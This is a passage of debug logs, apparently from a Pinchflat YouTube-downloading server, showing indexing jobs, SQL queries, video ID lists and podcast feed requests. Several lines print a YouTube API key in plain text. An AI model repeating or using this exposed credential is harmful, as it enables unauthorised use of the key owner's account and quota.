for playlist: UUBJycsmduvYEL83R_U4JriQ 16:47:30.855 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:30.855 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:30.855 [debug] QUERY OK source="settings" db=0.0ms idle=0.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:30.855 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:31.017 [debug] QUERY OK source="media_items" db=0.5ms idle=161.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [22, "aBRl73fC4-w", "8o8tl_s5hRE", "xO1MFgGVL8A", "fnW_Kbd0epU", "wlwBjCkcoFA", "BXOFhgj8exU", "IfsIu6p6BAg", "J-kMNoHzsjE", "KR56UQviXIA", "OX0gCdPIpO0", "yPIaCiTVEjE", "kyCJ17oq6kI", "UNIPJO5NvJk", "KjvPdIlDaQw", "xzGzXM3sYVI", "QFA5HOkw5Jg", "U5F-B2145JA", "VzcDyndh6uU", "m_uh56JhY4U", "PoeXzuQllKI", "KgItDGqwnDk", "E_dTga__P6w", "y4wdQRmGo7E", "BHQ5h_1bZUs", "10-hCMFcqX8", "vIwqKtD9u3Y", "b-zFY7w4is0", "0hghU1uXY30", "QC5SWSDiGiU", "vN-De4mzuX8", "ctTrCHmuZM4", "73qR9pdlsAo", "xzIADWo9-bc", "v0D9A_1TQ5Y", "CtX5kHZMr6w", "5MhzgeMI6JU", "9W60J35R-kQ", "Er2blBiXFDc", "TftKgvXUH54", "c6vJsI9V94E", "1am-k4WthCI", "GsUTnFu08SM", "Iz3Q-b0k2vY", "pHJnYgdGhUo", "pNyejYjV9Lo", "wsYhtLN5by0", "gQaMracObcw", "R-FqE10GQZc", "k5ueDLDOlAI", ...] 16:47:31.018 [debug] QUERY OK source="media_items" db=0.3ms idle=163.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [22] 16:47:31.019 [debug] QUERY OK source="tasks" db=0.1ms idle=163.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268320, 22, ~U[2026-10-09 21:47:31Z], ~U[2026-10-09 21:47:31Z]] 16:47:31.019 [info] {"args":{"id":22},"id":5268280,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":164889,"event":"job:stop","queue_time":448380,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:31.232 [debug] QUERY OK source="media_items" db=0.6ms idle=213.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [10, "_0G4OG39XjI", "3iRUwVzRDZQ", "e1q-TuHdc4Y", "rayrrXot17M", "DkUuOr21v4s", "pOX1l1edBME", "ohqxP8EEumo", "6D__H_DO2Xk", "Od6M0AXpcxQ", "R6yNUnRXZ64", "uJdjKOBikTE", "ANmTVYkEtLw", "fo-uubnajWM", "v-_d2e7x4KA", "ngPkbaZliaU", "mfmdXPT7nAM", "o4SSoURPODY", "Z6z_feacXW8", "_xjxwl1zLMc", "8Hx2yvWSgs0", "kUnR9dO4EnA", "_oRgdlJUD18", "eWKY0OnPByg", "DUgPFNRmsCQ", "7KRabLH7jcE", "ZpF6IE0rdxA", "oYAnEH0JoqI", "QrT4S9i3agE", "WOzcFkld6_g", "_gCXmKjDecU", "n3V3LZh_r40", "ImRy_PiXstI", "mk_wdHePbtQ", "M4xlXvCAc2E", "9GSDvO0LFFE", "OPOS0tre9eQ", "VIE2Ri2DQJg", "eFeDpUVEy48", "coX4duwUCpw", "i9TvUGeTltE", "7YrdI7h2XoY", "c347oYQO57A", "5aS-8QCRdGE", "s3DrGkDvgNw", "as_NEJAP8ew", "Hc0aqOEU2w8", "eFUB_jL_XcM", "pvjivZ6C6CA", "jru9Gsz3kJY", ...] 16:47:31.236 [debug] QUERY OK source="media_items" db=2.9ms idle=214.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 16:47:31.236 [debug] QUERY OK source="tasks" db=0.1ms idle=211.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268321, 10, ~U[2026-10-09 21:47:31Z], ~U[2026-10-09 21:47:31Z]] 16:47:31.237 [info] {"args":{"id":10},"id":5268281,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":382675,"event":"job:stop","queue_time":111483,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:31.855 [info] {"args":{"id":4},"id":5268282,"meta":{},"system_time":1791582451855245477,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:31.855 [debug] QUERY OK source="sources" db=0.1ms idle=618.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 16:47:31.855 [debug] QUERY OK source="settings" db=0.1ms idle=618.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:31.855 [debug] QUERY OK source="media_profiles" db=0.1ms idle=612.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:31.856 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:31.856 [debug] Fetching recent media IDs from YouTube API for playlist: UUDiKw3GnFIwyNJBzhCoRI-Q 16:47:31.856 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:31.856 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:32.028 [debug] QUERY OK source="media_items" db=0.5ms idle=172.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [4, "Z26kN5VfyGA", "QIEdK8haaTw", "_Us6EeUP0_Q", "lpswjPZYXx4", "mmntN7zIekU", "nvk3Njj_X0c", "eHCjuUBXwSo", "459a7YBmBOE", "yE48_MN8Ng4", "du03jSbZwEw", "ZBJnX8_Fx_g", "bLYUD4IMvQI", "EKZZwowhDiY", "nelpE3tC4Ig", "wzn0T1qX5Ko", "fk8zF0xav-Q", "tSSwuvJzHFc", "TIKTzjdTD98", "XW5tm9vAh2M", "cSjYTb1zdkA", "jqH3z8OwUn8", "9uiXXCOmJyY", "YP9M8cYfn-4", "KbixzNLGW3Q", "rgZlzCd0DUU", "JSxgCEpkiKM", "GnOpIQJnYWU", "CogTK7K_YZ8", "LFYjgLqQ99A", "NfvxMBglQXo", "JJPA_iM8Hrs", "tCC0pt6XE3Q", "fUWjIPHuZxw", "JtUC7H0Q1JY", "uvYt1GgcsUI", "V7CnaT-BfSo", "e22vAVH_JtE", "RwlNKD4KOZM", "S4knv0ivcEU", "exwuRtM27BY", "bCZX7x_xDWE", "JR9uWwbZGbw", "ResVOM4BhiQ", "wi2a3GG0yIc", "ZYyLetNAydM", "ZOz1fA9W3Ms", "QtVIR_-hMq8", "sPysKEfXzWM", "TEPKKZtclTA", ...] 16:47:32.029 [debug] QUERY OK source="media_items" db=0.5ms idle=173.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 16:47:32.030 [debug] QUERY OK source="tasks" db=0.1ms idle=173.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268322, 4, ~U[2026-10-09 21:47:32Z], ~U[2026-10-09 21:47:32Z]] 16:47:32.030 [info] {"args":{"id":4},"id":5268282,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":175181,"event":"job:stop","queue_time":421130,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:37.777 [info] GET /sources/c299bcbc-8900-4aab-a003-f3e99352d063/feed.xml 16:47:37.777 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "c299bcbc-8900-4aab-a003-f3e99352d063"} Pipelines: [:maybe_basic_auth] 16:47:37.778 [debug] QUERY OK source="sources" db=0.1ms idle=923.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["c299bcbc-8900-4aab-a003-f3e99352d063"] 16:47:37.799 [debug] QUERY OK source="media_items" db=21.4ms idle=84.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 16:47:37.853 [debug] QUERY OK source="source_metadata" db=0.1ms idle=159.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:47:37.853 [debug] QUERY OK source="media_metadata" db=0.0ms idle=159.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577899] 16:47:37.860 [info] Sent 200 in 82ms 16:47:39.274 [info] GET /sources/16b58d74-5ec6-42de-be76-95f451d88dd3/feed.xml 16:47:39.274 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "16b58d74-5ec6-42de-be76-95f451d88dd3"} Pipelines: [:maybe_basic_auth] 16:47:39.275 [debug] QUERY OK source="sources" db=0.1ms idle=1475.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["16b58d74-5ec6-42de-be76-95f451d88dd3"] 16:47:39.285 [debug] QUERY OK source="media_items" db=10.6ms idle=1421.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [6, 2000] 16:47:39.322 [debug] QUERY OK source="source_metadata" db=0.1ms idle=1468.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [6] 16:47:39.323 [debug] QUERY OK source="media_metadata" db=0.1ms idle=1466.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577894] 16:47:39.326 [info] Sent 200 in 51ms 16:47:45.049 [info] {"source":"oban","duration":9935,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 16:47:53.880 [info] {"args":{"id":44},"id":5268283,"meta":{},"system_time":1791582473880141765,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:53.880 [debug] QUERY OK source="sources" db=0.1ms idle=1186.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [44] 16:47:53.880 [debug] QUERY OK source="settings" db=0.1ms idle=1186.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:53.880 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:53.881 [debug] QUERY OK source="settings" db=0.7ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:53.881 [debug] Fetching recent media IDs from YouTube API for playlist: UUqppg7votukolx20yh3H9kQ 16:47:53.881 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:53.881 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:53.970 [debug] QUERY OK source="media_items" db=0.3ms idle=89.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [44, "qfSDhNLiN_U", "_qzU0mb7Ubw", "QLNxc6g0pjo", "vwTIQlSCb4M", "pRUNSy_tFkM", "M5qGSZKeaMA", "EVq8Vskx_Dw", "iQJO80qA0Wk", "o8BzeOf-smA", "fiS-okUK7KE", "UIN2Q2u1A8o", "vSBr3WFxJhY", "9BepF3pfqTY", "4qt4YY8m6fg", "JYJoETDh4ZU", "2ASOQLFr7-M", "fx5N1fY3Fsg", "qWvRe1u0AL0", "Okhp89ilgaY", "c9NY88Hf1Ns", "so6XWjuMJCg", "ejPqAJ0dHwY"] 16:47:53.970 [debug] QUERY OK source="media_items" db=0.2ms idle=89.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [44] 16:47:53.971 [debug] QUERY OK source="tasks" db=0.1ms idle=89.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268323, 44, ~U[2026-10-09 21:47:53Z], ~U[2026-10-09 21:47:53Z]] 16:47:53.971 [info] {"args":{"id":44},"id":5268283,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":91466,"event":"job:stop","queue_time":505710,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:54.881 [info] {"args":{"id":7},"id":5268284,"meta":{},"system_time":1791582474881244758,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:54.881 [info] {"args":{"id":25},"id":5268285,"meta":{},"system_time":1791582474881279753,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:54.881 [debug] QUERY OK source="sources" db=0.1ms idle=909.8ms SELECT s0."id", s0."enabled", s0."uuid", 